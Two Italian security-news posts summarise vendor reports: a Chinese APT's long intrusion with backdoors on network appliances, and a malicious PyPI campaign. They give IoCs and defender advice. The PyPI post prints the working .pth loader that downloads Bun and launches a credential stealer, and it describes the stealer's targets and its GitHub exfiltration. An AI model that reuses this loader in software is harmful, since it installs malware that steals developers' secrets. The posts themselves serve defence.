(in)sicurezza digitale

2026-06-07 10:34:43

VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite

Per diciotto mesi, il gruppo APT cinese VerdantBamboo ha vissuto nell’ombra delle reti di una grande organizzazione statunitense e del suo managed service provider, dispiegando tre famiglie di backdoor su appliance di rete prive di copertura EDR. La ricostruzione completa dell’incidente, pubblicata il 4 giugno 2026 dai ricercatori di Volexity, rivela un threat actor di straordinaria sofisticazione operativa, capace di reinfettare la rete vittima pochi giorni dopo la remediation.

Chi è VerdantBamboo (UNC5221 / WARP PANDA)

VerdantBamboo è il nome interno adottato da Volexity per il gruppo noto anche come UNC5221 (Mandiant) e WARP PANDA. Si tratta di un attore state-sponsored di origine cinese attivo almeno dal 2023, specializzato nello sfruttamento di zero-day su dispositivi di rete perimetrali: Ivanti Connect Secure, F5 BIG-IP, VMware vSphere e, in questo caso, appliance Linux proprietarie. Google Cloud Threat Intelligence e CISA hanno documentato più volte le sue campagne, con un filo conduttore costante: il deployment di BRICKSTORM su sistemi che non supportano agenti EDR, rendendo il rilevamento quasi impossibile con gli strumenti tradizionali.

Il vettore iniziale: Egnyte Storage Sync e una privilege escalation trascurata

In settembre 2025, Volexity viene coinvolta in un incident response dopo che un analista nota traffico anomalo proveniente da una macchina virtuale Linux con Egnyte Storage Sync. L’appliance, invece di connettersi ai server Egnyte, beacona verso un dominio controllato dall’attaccante nascosto dietro IP Cloudflare, e interroga 8.8.8.8 tramite DNS over HTTPS per evitare lookup DNS tracciabili.

L’ingresso iniziale è avvenuto attraverso credenziali SSH compromesse per l’account egnyteservice, il cui profilo sudo conteneva una misconfiguration critica: il comando tee era eseguibile come root, consentendo la scrittura arbitraria di file su tutto il filesystem. VerdantBamboo ha sfruttato questa escalation per scrivere un entry cron in /etc/cron.d/ssync, eseguire il backdoor BRICKSTORM posizionato in /usr/sbin/, e poi rimuovere il file cron per minimizzare le tracce. Il compromesso risaliva ad almeno 18 mesi prima della scoperta. Egnyte ha poi corretto la vulnerability nella versione Storage Sync v13.13.

La catena d’attacco: dall’MSP alla Microsoft 365

Una volta sul sistema Storage Sync, VerdantBamboo ha sfruttato le capacità proxy di BRICKSTORM per accedere all’ambiente Microsoft 365 della vittima attraverso gli IP del VPN SSL aziendale, bypassando così le Conditional Access Policy che avrebbero bloccato accessi da IP sconosciuti. L’obiettivo era mimetizzarsi nel traffico legittimo.

Parallelamente, l’MSP che gestiva il sistema era stato anch’esso compromesso. Volexity ha trovato sul firewall pfSense dell’MSP una variante FreeBSD di BRICKSTORM, offuscata con gobfuscate, con backdating della compromissione di almeno 18 mesi. Con ogni probabilità, l’attaccante si era introdotto nell’organizzazione vittima passando prima per l’MSP, rubando credenziali e dettagli infrastrutturali.

Il ritorno dopo la remediation: persistenza da manuale

Pochi giorni dopo che Volexity aveva completato le attività di contenimento — isolando il sistema Storage Sync e portando offline il VPN SSL — VerdantBamboo è tornato. Il firewall della vittima, ora esposto direttamente su Internet dopo la dismissione del vecchio VPN, era accessibile via interfaccia amministrativa web. Usando credenziali amministrative rubate (senza MFA), l’attaccante ha riconfigurato un VPN SSL sul firewall, si è riconnesso alla rete interna e ha deployato PLENET su un NAS Synology. Un secondo ciclo di remediation si è reso necessario.

Le tre backdoor: BRICKSTORM, PLENET e AGENTPSD

BRICKSTORM è il malware principale del gruppo, con varianti scritte in Golang (le più vecchie) e Rust. Il design è modulare: il namespace wssoft contiene protocol handler, task dispatcher e task extensions che il developer può personalizzare per ogni target. Nelle varianti analizzate, i task extension attivi sono tre: command (shell remota), socks (proxy SOCKS5) e web (accesso al filesystem). Il C2 usa WebSocket su HTTPS, con risoluzione DNS over HTTPS verso 8.8.8.8 per evitare query tracciabili.

PLENET (chiamato GRIMBOLT da Google Cloud) è un backdoor cross-platform scritto in .NET Core e compilato con Native AOT — una funzionalità introdotta in .NET 7 nel novembre 2022 che produce un binario nativo standalone con il runtime embedded. La scelta di Native AOT è deliberata: l’immaturity degli strumenti di analisi per questo formato complica notevolmente il reverse engineering. PLENET usa anch’esso WebSocket per il C2 e la libreria Nerdbank.Streams per multiplexing, richiamando lo stesso schema architetturale di BRICKSTORM. Capacità: shell interattiva, esecuzione remota di comandi, manipolazione file, switching del server C2.

AGENTPSD è una semplice reverse shell Python compilata con PyInstaller, configurata per connettersi a un dominio C2 diverso da quello usato da BRICKSTORM. Il suo ruolo è esclusivamente di fallback: se BRICKSTORM venisse rimosso o smettesse di funzionare, AGENTPSD garantirebbe un percorso di rientro alternativo. Significativamente, durante l’intero periodo dell’intrusione AGENTPSD non è mai stato utilizzato attivamente — BRICKSTORM era sempre disponibile.

L’infrastruttura C2 e la risposta alle investigazioni

Volexity ha sviluppato una fingerprint Censys per identificare i server C2 di BRICKSTORM: una risposta HTTP di lunghezza zero (Golang HTTP server), SSH su FreeBSD, certificato Cloudflare, massimo quattro servizi esposti. Questa firma ha consentito di mappare diversi server C2. Tuttavia, tra il 18 e il 23 settembre 2025, tutti i server che corrispondevano al pattern hanno disattivato i servizi sulla porta 443. Il 24 settembre Google ha pubblicato un nuovo report su BRICKSTORM. Volexity valuta con bassa confidenza che VerdantBamboo fosse consapevole di essere sotto investigazione e abbia volontariamente smantellato l’infrastruttura esposta.

Due righe per i difensori

Il caso VerdantBamboo mette in luce vulnerabilità sistemiche difficili da correggere con gli strumenti tradizionali. Le raccomandazioni chiave emerse dall’analisi di Volexity sono le seguenti: applicare MFA su tutti gli accessi amministrativi, inclusi VPN e interfacce di gestione dei firewall; monitorare il traffico verso DNS over HTTPS su endpoint non previsti; estendere il perimetro di monitoraggio alle appliance di rete (NAS, firewall, appliance cloud sync) che non supportano EDR, eventualmente tramite network security monitoring; verificare le configurazioni sudo su tutte le appliance Linux gestite; assicurarsi che i fornitori MSP applichino gli stessi standard di sicurezza dell’organizzazione committente.

Indicatori di Compromissione (IoC)

## AGENTPSD
# Nome file: egnyte_host_monitor_client
MD5:    98ee964edeb5a988c3bba8ea1e57fe0e
SHA1:   e952c18272efa1c3d73d0a5381bcf443c02743fe
SHA256: ee41e06ed96182ce80cd4544a6abd5d7719c4a5c0e5ddb266a83842d39b99b0a
## BRICKSTORM (Egnyte Storage Sync – Linux)
# Nome file: luserput
MD5:    58d4eccc982c9e9b1b98aa62c514e53a
SHA1:   f4d77958a12a0778283d3e679b24b18f82e332c4
SHA256: 40d264cf9c73923932c3dfd52d20f46ff602be3fea8dc6ecc71aca46e6067bf5
## BRICKSTORM (pfSense – FreeBSD, gobfuscated)
# Nome file: blacklist
MD5:    84ad78b2bab946c3677fdc28ebd8a774
SHA1:   681075027553546c119ec447eb8df84633dcffce
SHA256: f70abe93112637d3ec2f6c5e058ccac0307ebf63e496f38588cbfc17a8f8a264
## PLENET (aka GRIMBOLT, .NET Native AOT)
# Nome file: ovs-dbctl
MD5:    95dc2289427ed29b8b996d0e3d1b78cb
SHA1:   f8d93c1769e877aae7e7d5c289a467b5ae371c7a
SHA256: eb141a43958802727a6c813452450c10b92704bea4474ee5fd87c0a1be326e2e
## Censys fingerprint per C2 BRICKSTORM
host.service_count<=4 AND host.services:(banner_hash_sha256:"e28a96f983b8605decd2ac1db16ebad5fa741a6aa4e585a38ade0e5ad7d6cec0" AND port=443) AND host.services.cert.parsed.issuer.organization="CloudFlare, Inc." AND host.services:(port=22 AND software.vendor:openbsd)
## IoC completi (Volexity GitHub)
https://github.com/volexity/threat-intel/tree/main/2026/2026-06-04%20VerdantBamboo

(in)sicurezza digitale

2026-06-07 10:33:46

Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori

Il team di ricerca di Socket ha identificato 37 wheel artifact malevoli distribuiti su 19 pacchetti PyPI, parte di una campagna di supply chain attack denominata “Hades” — un ramo evolutivo della nota famiglia Shai-Hulud/Miasma. Il vettore è sofisticato: un file *-setup.pth iniettato nei pacchetti scarica silenziosamente il runtime JavaScript Bun ed esegue uno stealer multi-target che colpisce sviluppatori, pipeline CI/CD e credenziali cloud.

La famiglia Shai-Hulud/Miasma: un attore in continua evoluzione

Shai-Hulud e Miasma non sono nomi nuovi nell’ecosistema del threat intelligence. La famiglia è attiva da mesi e ha già colpito pacchetti npm gestiti da Red Hat Cloud Services (giugno 2026), pacchetti Packagist tramite la campagna Famous Chollima (Corea del Nord), e ora approda su PyPI con una variante battezzata “Hades”. Il modus operandi rimane invariato nel core: abuso dei canali di distribuzione di fiducia, esecuzione prima che il codice legittimo venga invocato, payload JavaScript offuscato eseguito tramite il runtime Bun, esfiltrazione verso GitHub.

La scoperta è stata segnalata inizialmente dall’incident responder boredchilada su Bluesky, che ha taggato Socket poco dopo la pubblicazione dei pacchetti compromessi. La deobfuscation di _index.js ha confermato l’attribuzione alla stessa famiglia, rivelando però un cambio tematico: invece dei riferimenti a Zelda usati in campagne Miasma precedenti, questa ondata usa elementi mitologici greci — con marker GitHub come Hades - The End for the Damned e nomi di repository generati da componenti come stygian, tartarean, cerberus, charon, styx.

Il meccanismo di infezione: il file .pth come primitiva di esecuzione automatica

L’elemento tecnico più critico di questa campagna è lo sfruttamento dei file .pth di Python — un vettore raramente usato in attacchi su larga scala. Il modulo site di CPython processa automaticamente questi file all’avvio dell’interprete: le righe che iniziano con import vengono eseguite, indipendentemente dal fatto che il pacchetto compromesso venga mai importato dall’applicazione target.

Questo significa che l’installazione di un pacchetto infetto trasforma qualsiasi successiva invocazione di Python — un test, una pipeline CI, un notebook Jupyter, o semplicemente un pip install — in un trigger di esecuzione del codice malevolo. Il loader estratto dai wheel esegue questa sequenza:

• Verifica la presenza del sentinel /tmp/.bun_ran per evitare esecuzioni ripetute
• Localizza il payload _index.js nella directory del pacchetto
• Scarica il runtime Bun v1.3.13 da GitHub se non già presente in /tmp/b/bun
• Esegue bun run _index.js e scrive il sentinel

# Loader estratto dal *-setup.pth (forma normalizzata)
import glob, os, platform, subprocess, sys, tempfile, urllib.request, zipfile
sentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")
if not os.path.exists(sentinel):
    base = os.path.dirname(__file__)
    payload = os.path.join(base, "_index.js")
    if not os.path.exists(payload):
        candidates = glob.glob(os.path.join(base, "*", "_index.js"))
        payload = candidates[0] if candidates else ""
    bun = os.path.join(tempfile.gettempdir(), "b", "bun")
    if not os.path.exists(bun):
        arch = "aarch64" if platform.machine() == "arm64" else "x64"
        os_name = {"linux":"linux","darwin":"darwin","win32":"windows"}.get(sys.platform,"linux")
        zip_path = os.path.join(tempfile.gettempdir(), "b.zip")
        urllib.request.urlretrieve(
            f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip",
            zip_path)
        zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))
        os.chmod(bun, 0o775)
    subprocess.run([bun, "run", payload], check=False)
    open(sentinel, "w").close()

Payload deobfuscation: quattro strati di protezione

Il file _index.js è protetto da quattro strati di offuscamento progressivo: un wrapper try { eval(...) } che decodifica un array di char-code con sostituzione ROT-style; uno stage AES-GCM che decripta due blob embedded e scrive il payload principale in /tmp/p*.js; un bootstrapper Bun che gestisce il download del runtime; infine il payload principale, con rotated string table, decoder PBKDF2/SHA256 e un ulteriore strato AES-256-GCM con gzip.

Una volta deoffuscato, il payload è un credential stealer ad ampio spettro ottimizzato per ambienti di sviluppo: token GitHub (inclusi ghs_* e GitHub Actions runner secrets), npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic. Sul fronte cloud: AWS credentials, STS, SSM Parameter Store, Secrets Manager; GCP Secret Manager; Azure Key Vault; Kubernetes service-account tokens; HashiCorp Vault. Vengono inoltre esfiltrate chiavi SSH, Docker configs, shell histories, file .env, .npmrc, .pypirc, configurazioni Claude/MCP e dati wallet.

Esfiltrazione via GitHub: camouflage su Anthropic API

Il payload include due percorsi di esfiltrazione. Il primo — apparentemente verso api.anthropic.com/v1/api — è di fatto un meccanismo di camouflage di rete: la route non esiste sui server Anthropic (restituisce 404), ma il traffico verso questo host ubiquo confonde i SIEM e rende difficile il blocco automatico. Il canale reale è GitHub: il payload crea repository pubblici con POST /user/repos, vi esegue commit di dati esfiltrati sotto path results/results-<timestamp>-<counter>.json, e può abusare di GitHub Actions per caricare artifact denominati format-results.

Il payload include anche meccanismi di persistenza post-compromissione: installa gh-token-monitor.sh come servizio systemd su Linux o LaunchAgent su macOS, e deposita file .claude/setup.mjs e .github/setup.js — estendendo il vettore di attacco agli ambienti di AI-assisted coding e workflow CI.

I pacchetti compromessi

I 37 artifact colpiscono 19 pacchetti riconducibili a un singolo account maintainer compromesso. I pacchetti ad alto impatto includono dynamo-release (framework per RNA-velocity single-cell), spateo-release (analisi trascrittomica spaziale), coolbox (toolkit Jupyter per genomica Hi-C/ChIP-Seq), e i tool ufish/napari-ufish per deep-learning. I download cumulativi di questi pacchetti si misurano in centinaia di migliaia. Il totale degli artifact compromessi monitorati da Socket attraverso npm e PyPI raggiunge 448.

Indicatori di Compromissione (IoC)

## Pacchetti PyPI compromessi (selezione)
bramin@0.0.2, @0.0.3, @0.0.4
cmd2func@0.2.2, @0.2.3
coolbox@0.4.1, @0.4.2
dynamo-release@1.5.4
executor-engine@0.3.4, @0.3.5
executor-http@0.1.3, @0.1.4
napari-ufish@0.0.2, @0.0.3
spateo-release@1.1.2
ufish@0.1.2, @0.1.3
uprobe@0.1.3, @0.1.4
## File malevoli
*-setup.pth
_index.js
## Hash SHA256
c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c
dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe
## Path filesystem
/tmp/.bun_ran
/tmp/b.zip  |  /tmp/b/bun
~/.config/gh-token-monitor/
~/.local/bin/gh-token-monitor.sh
~/.config/systemd/user/gh-token-monitor.service
~/Library/LaunchAgents/com.github.token-monitor.plist
## Network
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
hxxps://api[.]anthropic[.]com/v1/api  (camouflage - non funzionale)
## Marker GitHub esfiltrazione
Repository description: "Hades - The End for the Damned"
Commit marker: "IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully"
Workflow name: "Run Copilot"
Artifact name: "format-results"
Path pattern: results/results-*.json

Due righe per i difensori

Chi ha installato versioni compromesse deve rimuovere i pacchetti, ricostruire gli environment e ruotare immediatamente tutte le credenziali accessibili: token GitHub/GitHub Actions, chiavi PyPI/npm/RubyGems, credenziali AWS/GCP/Azure/Kubernetes, token CircleCI e HashiCorp Vault, chiavi SSH e Docker credentials. A livello di detection statica, qualsiasi wheel PyPI contenente un file .pth eseguibile con download di runtime remoti e subprocess execution va trattato come alto rischio. A runtime, monitorare la catena python -> bun -> _index.js e connessioni verso github.com/oven-sh/bun/releases/download/. Sul fronte GitHub, ricercare negli organization log i marker Hades sopra elencati.

Fonte principale: Socket Research Team — socket.dev/blog/shai-hulud-descends-to-hades-miasma-pypi-wave

Shai-Hulud Descends to Hades: Miasma Worm Campaign Spreads w...

Socket found 37 malicious PyPI wheels that abuse Python startup hooks to launch a Bun-powered credential stealer tied to Mini Shai-Hulud/Miasma.

^{Socket Research Team (Socket)}